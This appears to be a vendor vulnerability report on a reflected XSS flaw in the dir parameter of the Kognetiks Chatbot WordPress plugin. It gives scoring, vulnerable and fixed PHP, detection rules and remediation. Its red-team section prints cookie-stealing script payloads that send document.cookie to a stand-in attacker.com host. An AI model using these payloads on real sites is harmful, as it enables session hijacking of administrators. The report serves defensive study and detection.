CVE-2024-10684
Executive Summary
CVE-2024-10684 is a reflected Cross-Site Scripting (XSS) vulnerability in the Kognetiks Chatbot for WordPress plugin, affecting all versions up to and including 2.1.7. The flaw resides in the dir parameter, which is insufficiently sanitized and escaped before being reflected back to the user. An unauthenticated attacker can craft a malicious link that, when clicked by a logged-in administrator or editor, executes arbitrary JavaScript in the context of the WordPress admin dashboard. This can lead to session hijacking, privilege escalation, or defacement. As a WordPress plugin vulnerability, the attack surface is limited to sites running the affected plugin, but the impact is amplified by the plugin’s widespread use in customer support and chatbot integrations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must click a crafted link)
- Scope: Changed (impact on the WordPress admin context)
- Confidentiality Impact: Low (potential data exfiltration)
- Integrity Impact: Low (potential script injection)
- Availability Impact: None
Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of authentication and the ability to target high-privilege users (admins) makes this a viable phishing vector.
Deep Dive & Mechanics
The vulnerability is a classic reflected XSS in the WordPress plugin ecosystem. The dir parameter is used by the plugin to specify a directory path for file operations (likely for chatbot log or configuration files). The plugin fails to sanitize or escape this parameter before outputting it in the response. An attacker can inject a payload such as:
?dir=<script>alert('XSS')</script>
When the victim visits the crafted URL, the script executes in the browser. Because the plugin runs within the WordPress admin area, the injected script can access admin cookies, perform AJAX requests, or modify plugin settings. The vulnerability is unauthenticated, meaning any visitor can trigger the XSS if they can trick a logged-in user into clicking the link.
Vulnerable vs. Patched Code
Vulnerable Code (version <= 2.1.7):
// In a file like kognetiks-chatbot.php or admin-ajax.php
$dir = $_GET['dir'];
echo "Directory: " . $dir; // Direct output without escaping
Patched Code (hypothetical fix):
$dir = sanitize_text_field($_GET['dir']);
echo "Directory: " . esc_html($dir); // Escaped output
The fix requires using WordPress’s built-in escaping functions (esc_html(), esc_attr(), or wp_kses()) and input sanitization (sanitize_text_field() or sanitize_file_name()). As of this report, no official patch has been released.
Exploitation & Lab Setup
Red Team (Attack Simulation)
- Setup: Install WordPress 6.x with Kognetiks Chatbot plugin version 2.1.7 on a local server (e.g., XAMPP or Docker).
- Craft Payload: Create a URL with a malicious
dirparameter:http://target/wp-admin/admin.php?page=kognetiks-chatbot&dir=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Phishing: Send the link to a logged-in admin via email or social engineering.
- Execution: When the admin clicks the link, the script executes, exfiltrating cookies to the attacker’s server.
Example Payload (JavaScript):
<script>
var img = new Image();
img.src = 'https://attacker.com/steal?cookie=' + document.cookie;
</script>
Blue Team (Defense & Detection)
- Monitor Logs: Check web server access logs for unusual
dirparameter values containing<script>oronerrorpatterns. - WAF Rules: Deploy a Web Application Firewall (WAF) rule to block requests with
dircontaining HTML/JavaScript tags. - User Training: Educate administrators to avoid clicking suspicious links, especially those containing query parameters.
Indicators of Compromise (IOCs)
- URL Pattern:
?dir=<script>or?dir=%3Cscript%3Ein WordPress admin URLs. - HTTP Referer: Requests to
attacker.comfrom the WordPress admin IP. - Log Entries:
GET /wp-admin/admin.php?page=kognetiks-chatbot&dir=<script>...in access logs. - File Changes: Unexpected modifications to plugin files (e.g.,
kognetiks-chatbot.php) indicating backdoor injection.
Detection Engineering
YARA Rule
rule CVE_2024_10684_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against Kognetiks Chatbot dir parameter"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-10684"
strings:
$xss_payload = /dir=.*<script/i
$xss_encoded = /dir=.*%3Cscript/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS via Kognetiks Chatbot dir Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts against the Kognetiks Chatbot plugin dir parameter
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: GET
cs-uri-query|contains:
- 'dir=<script'
- 'dir=%3Cscript'
condition: selection
falsepositives:
- Legitimate use of script tags in directory names (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-10684 Reflected XSS in Kognetiks Chatbot dir parameter"; flow:to_server,established; content:"GET"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=kognetiks-chatbot"; http_uri; pcre:"/dir=(<script|%3Cscript)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the Kognetiks Chatbot plugin until a patch is released.
- Workaround: Add a WAF rule to block requests containing
dir=<scriptordir=%3Cscript. - Code Fix: Apply input sanitization (
sanitize_text_field()) and output escaping (esc_html()) to thedirparameter. - Monitoring: Enable logging for all admin page requests and review for suspicious
dirvalues. - User Awareness: Train administrators to avoid clicking links with query parameters from untrusted sources.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.